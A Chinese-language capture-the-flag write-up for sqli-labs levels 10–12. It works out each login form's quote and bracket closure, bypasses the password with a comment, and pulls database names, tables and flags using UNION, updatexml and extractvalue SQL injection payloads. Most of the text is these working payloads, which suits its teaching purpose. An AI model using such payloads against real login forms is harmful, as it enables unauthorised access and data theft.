sqli_labs-10,11,12 --详细解析

Less-10

信息搜集

是一个登录框,有两个传参点:

随便输一下,抓包看看传参形式和参数名:
POST传参,有uname和passwd参数。

SQL注入

从uname参数注入试试。先判断一下闭合类型,输入admin'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin'' and password='' LIMIT 0,1' at line 1

根据报错信息,可知两个传参点都是单引号闭合

而且这两个参数是用同一条语句查询的,这就意味着如果我们在uname传参点把后面的语句都注释掉,就可以通过只输入用户名的方式登录,而无需密码。

sql 复制代码
admin'--+ //报错,过滤了--+
admin'#  //成功登录

我们看到这里回显了账号和密码,大概推测回显位有两个。那么order by语句测试一下,果然是两个回显位。

sql 复制代码
0' union select 1,2#

判断了每个回显位对应的位置,而且知道了可以使用联合注入,接下来就是联合注入走流程:

sql 复制代码
0' union select 1,2#
0' union select 1,(select database())# //security
0' union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsd
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsd')# //id,flag43s
0' union select 1,(select group_concat(flag43s) from ctfshow.flagugsd)# //ctfshow{843bd566-43dd-4cc5-b215-433b86b7d678}

得到flag.

Less-11

信息搜集

和上一题一样

SQL注入

测试到双引号闭合的时候报错了
可知是双引号加括号闭合:admin")#,成功登录。

回显位和上一题一样。

依旧联合注入:

sql 复制代码
0") union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsds
0") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsds')# //id,flag43as
0") union select 1,(select group_concat(flag43as) from ctfshow.flagugsds)# //ctfshow{b40cd342-4b6f-44ed-9e3e-795340dc1075}

得到flag。

Less-12

信息搜集

和前两题一样。

SQL注入

测试闭合,发现是单引号+括号闭合:admin')#

但是这次不会回显账号密码了,没有了回显位,联合注入被ban了。

由于有报错信息回显,所以我们使用报错注入。

用updatexml报错注入:

sql 复制代码
admin') and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# //'~ctfshow,ctftraining,information'

admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)# //'~flag~'

admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e),1)# //~id,flag4~'

admin') and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1)# //'~ctfshow{6d80844a-5452-496e-86d0'

admin') and updatexml(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e),1)# // '~a-5452-496e-86d0-3cfca652aee7}~'

ctfshow{6d80844a-5452-496e-86d0-3cfca652aee7}

extractvalue注入:

sql 复制代码
admin') and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))# //~ctfshow{6d80844a-5452-496e-86d0'

admin') and extractvalue(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e))# //'~a-5452-496e-86d0-3cfca652aee7}~'

都能得到flag。

相关推荐
冒泡的肥皂13 分钟前
MVCC初学demo(一
数据库·后端·mysql
.Shu.1 小时前
Redis Reactor 模型详解【基本架构、事件循环机制、结合源码详细追踪读写请求从客户端连接到命令执行的完整流程】
数据库·redis·架构
网安INF2 小时前
【论文阅读】-《HopSkipJumpAttack: A Query-Efficient Decision-Based Attack》
论文阅读·人工智能·深度学习·网络安全·对抗攻击
薛晓刚4 小时前
当MySQL的int不够用了
数据库
SelectDB技术团队4 小时前
Apache Doris 在菜鸟的大规模湖仓业务场景落地实践
数据库·数据仓库·数据分析·apache doris·菜鸟技术
星空下的曙光5 小时前
mysql 命令语法操作篇 数据库约束有哪些 怎么使用
数据库·mysql
小楓12015 小时前
MySQL數據庫開發教學(一) 基本架構
数据库·后端·mysql
染落林间色5 小时前
达梦数据库-实时主备集群部署详解(附图文)手工搭建一主一备数据守护集群DW
数据库·sql
颜颜yan_5 小时前
企业级时序数据库选型指南:从传统架构向智能时序数据管理的转型之路
数据库·架构·时序数据库
lichenyang4535 小时前
管理项目服务器连接数据库
数据库·后端